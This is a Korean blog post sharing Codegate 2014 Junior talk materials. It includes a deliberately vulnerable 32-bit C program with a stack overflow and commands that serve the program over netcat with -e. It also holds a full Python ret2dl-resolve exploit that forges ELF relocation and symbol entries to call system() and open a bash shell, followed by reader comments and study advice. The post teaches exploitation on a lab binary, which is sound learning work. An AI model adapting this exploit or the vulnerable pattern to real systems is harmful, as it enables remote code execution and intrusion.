본문 바로가기

코드게이트 2014

Codegate 2014 주니어 발표자료, 코드(바이너리), exploit

발표자료가 아주 전에 낸걸로 들어가서..

그리고 댓글 남겨주세요 ㅠ 무플 방지


코게 주니어.key 2.zip - 맥용 키노트 파일

코게 주니어.ppt - PPT로 변환함


어느분이 고맙게도 제 발표영상을 온라인에 찍어서 올려주셨어요. 감사합니다!




발표자료에 있는 "공격 대상 코드"

exp.c

#include <stdio.h>
#include <string.h>

char gbuf[128];
int main() {
 char buf[16];
 int len = read(0, buf, 128);
 read(0, gbuf, 128);
 return 0

}

컴파일된 바이너리(CentOS)


exp


컴파일 옵션:

gcc -fno-stack-protector -m32 exp.c -o exp


데몬 실행 (리눅스)

nc를 이용한 방법:

nc.traditional -l -p 7777 -e ./exp

또는

nc -l -p 7777 -e ./exp

inetd, xinetd로 설정하실수도 있습니다.


익스플로잇 코드

exploit.py

from socket import * import struct import time import sys buffer = 0x8049680 # "gbuf" address, you must know the address for your payload target = 0x8049658 # read GOT location dynstr = 0x80481FC # .dynstr section jmprel = 0x8048278 # referred in dynamic section symtab = 0x80481ac # referred in dynamic section ######## exploit gadgets ################################## dynamic_linker = 0x80482C0 target_plt = 0x80482F0 cmd = "bash #" # shell command to execute p = lambda x: struct.pack("<L", x) ph = lambda x: struct.pack("<I", x) pb = lambda x: struct.pack("<B", x) log = lambda x: sys.stderr.write(x+'\n') ######## rel ############################################## rel = p(target) # target, anywhere in writable memory rel += p((((buffer - symtab + 18+16)/16)<<8) + 7) # 16 multiplier (struct) ######## sym ############################################## sym = p (buffer - dynstr + 46) # location for 'cmd' sym += p (0xff) # writable int, isn't it? sym += p (0xff) # symbol size (st_size) sym += pb(0xff) # symbol info (st_info) sym += pb(0xf0) # symbol other - mod 4 must be 0 sym += ph(0xffff) # symbol index sym += "system\x00" ############################################################ s = socket(AF_INET, SOCK_STREAM) payload = "" payload += rel # struct Elf32_Rel -> Elf32_Sym payload += "A"*(28-len(payload)) # dummy for multiplier 16 payload += sym # struct Elf32_Sym -> "system\x00" payload += cmd ######### stage0 ###################################### stage0 = "" stage0 += "A" * 28 stage0 += p(0xDEADBEEF) stage0 += p(dynamic_linker) # dynamic linker loader (pushes arg1) stage0 += p(buffer - jmprel) # arg2: index here stage0 += p(0xDEADBEEF) # ret2: ret after 'system' stage0 += p(buffer + len(payload) - len(cmd)) # location for cmd stage0 = stage0.ljust(128) stage1 = payload # just for fun ####################################################### s.connect(('10.211.55.8'modify_here, 7777modify_here)) print "============== exploit: TRIGGER!" s.send(stage0) s.send(stage1) # and there will be console while True: r = raw_input() s.send(r+'\n'

 sys.stdout.write(s.recv(102400))

modify_here부분에서 에러가 날건데, 그부분은 각자의 IP와 포트로 수정해주셔야될거에요.

로컬의 경우에는

s.connect(('10.211.55.8'modify_here, 7777modify_here)) print "============== exploit: TRIGGER!" s.send(stage0) s.send(stage1)

부분을

sys.stderr.write("============== exploit: TRIGGER!")


print(stage0 + stage1)

로 바꿔주시고

(python exploit.py;cat)|./exp


로 실행시켜주시면 됩니다.

  • dd 2014.04.03 16:12

    좋은글 감사합니다.
    그런데 nc에서 -e옵션이 있나요?

    • BlogIcon 진모씨 2014.04.03 16:48 신고

      우분투 기준으로 기본적으로 깔려있는 netcat-openbsd 패키지에는 -e 명령이 없습니다. 이게 기본 nc 명령이구요.
      netcat-traditional 이라는 패키지를 추가적으로 깔았을 경우 nc.traditional이라는 명령어가 생기게 됩니다.

      또는 이런식으로도 할수 있습니다.
      nc -l 31337 <&1 | ./exp > &0

      이렇게 하면 31337 포트의 출력이 exp로, exp의 출력이 31337 포트로 가게 됩니다.

  • BlogIcon hoooong 2014.04.07 00:00

    sublime text 인가여???

  • BlogIcon sa 2014.04.07 00:06

    자주 들를게여

  • 2014.05.20 21:06

    비밀댓글입니다

    • BlogIcon 진모씨 2014.05.20 22:31 신고

      흠흠.. 되게 말씀드리기 애매하긴 한데
      일단 해커스쿨 FTZ나 해외 워게임(smashthestack IO) 또는 exploit-exercises를 처음부터 차근차근 하시면서 기초 프로그래밍을 먼저 갈고 닦으셔서 C언어는 마스터하시면 좋고 리눅스 기초 프로그래밍(리눅스용 함수들이 따로 있으니까요), 그리고 리눅스의 기초적인 기능들과 내부구조(커널 등)를 공부하시면 어떨까 싶거든요. 요즘 리눅스가 많이 나오니까요.
      윈도도 마찬가지에요.

      그리고 저는 파이썬 많이 쓰는데, C언어 배워두시면 좋은점이 많아요. 되게 많아요.

      일단 아무거나 닥치는대로 풀어보시고 정 안되면 풀이를 보셔도 좋을 것 같긴 한데, 그런것보다 "지식이 있는 상태에서 아 이거다"하고 푸는게 훨씬 좋습니다. 기초를 일단 갈고 닦자구요.
      해킹, 파괴의 광학 이라던지 해킹, 공격의 예술 이라던지 뭐 이런거 좋지 않아요?
      그리고 뇌를 자극하는 시리즈 뭐 프로그래밍 책도 좋던데..

    • 2014.05.20 22:38

      비밀댓글입니다

    • BlogIcon 진모씨 2014.05.20 22:51 신고

      시스템을 이용해 개발한걸 해킹하는거잖아요.
      직접 뛰어들어보면 엄청 도움이 되요.
      감각에도. 지식에도.

      그리고 시스템 해킹은 리버싱 뿐만 아니라 다른 분야에도 겹칩니다.
      암호 취약점이 시스템 공격으로 이루어질 수도 있고, 프로그램을 "분석"해야하며, 특정 "네트워크"를 공격해서 시스템을 속일 수도 있습니다.

      보통은 프로그램의 취약성으로 인해 허점이 드러나는 경우가 많이 있으니까 리버싱은 당연히 필요합니다.

    • BlogIcon 진모씨 2014.05.20 22:53 신고

      그리고 win api는 윈도 프로그래밍, 해킹에 도움이 많이 되겠죠?
      windows와 통신하는 수단이고, 윈도에서 제공하는 함수거든요.

      나중에 공부하시다 보면 시스템 콜, sysenter 등에 대해 공부하게 되실 수 있어요. 커널과 프로그램의 연결점이죠.
      그것도 거의 win api에 의해 연결되어있고, os의 기능 - 하드드라이브 접근, 프로그램 실행, 메모리 관리 등은 win api가 간접적으로 커널을 호출합니다. 시스템 해킹 맞겠죠?

      그리고 약간 웹해킹이랑 비슷하기도 한게, 함수 하나 잘못 써서 뚫리는 경우도 많죠.

      물론 그러지 않은 경우도 많아요. 직접 취약점을 만들 수도 있죠.

    • 2014.05.20 23:01

      비밀댓글입니다

    • BlogIcon 진모씨 2014.05.20 23:33 신고

      맘대로요!

  • winx 2014.06.02 20:10

    저렇게 큰 무대위에서 완전 떨림없이 발표 잘하시네요 강심장!
    궁금했던 건데 pt 한거 잘 보겠습니다. 감사합니다.
    근데 요즘 보안쪽에서 파이썬 많이 사용하는것 같네요


    • BlogIcon 진모씨 2014.06.03 17:55 신고

      히히 저는 저런 무대가 좋더라구요.
      파이썬이 C보다 코드 길이를 많이 줄여주는 경우가 많아서 그런지 해킹용 라이브러리, 도구들도 파이썬으로 다들 많이 짜더라구요.
      저도 그래서 파이썬에 끌리게 되네요.. 쓸 수 있는 라이브러리도 많고, 간단한 코드로 많은 기능을 축약시킬 수 있어요.

      저는 특히 배열 기능에 끌렸어요.
      가령 1+...+100 까지 더할 때
      print sum(range(1, 101))
      하면 바로 더해진다던지,
      import random
      print [random.randint(1, 10) for i in range(10)]
      하면 10개의 랜덤한 정수가 나온다던지..
      되게 매력적으로 보여요.

      단, 성능을 요하는 프로그램에서는 C로 짜요.
      파이썬은 C보다는 많이 느리거든요.

  • 해삼 2014.06.12 00:46

    진용휘짱짱맨ㅋㅋㅋㅋㅋㅋ

  • BlogIcon sweetchip 2014.06.15 12:41

    와 발표 잘하넹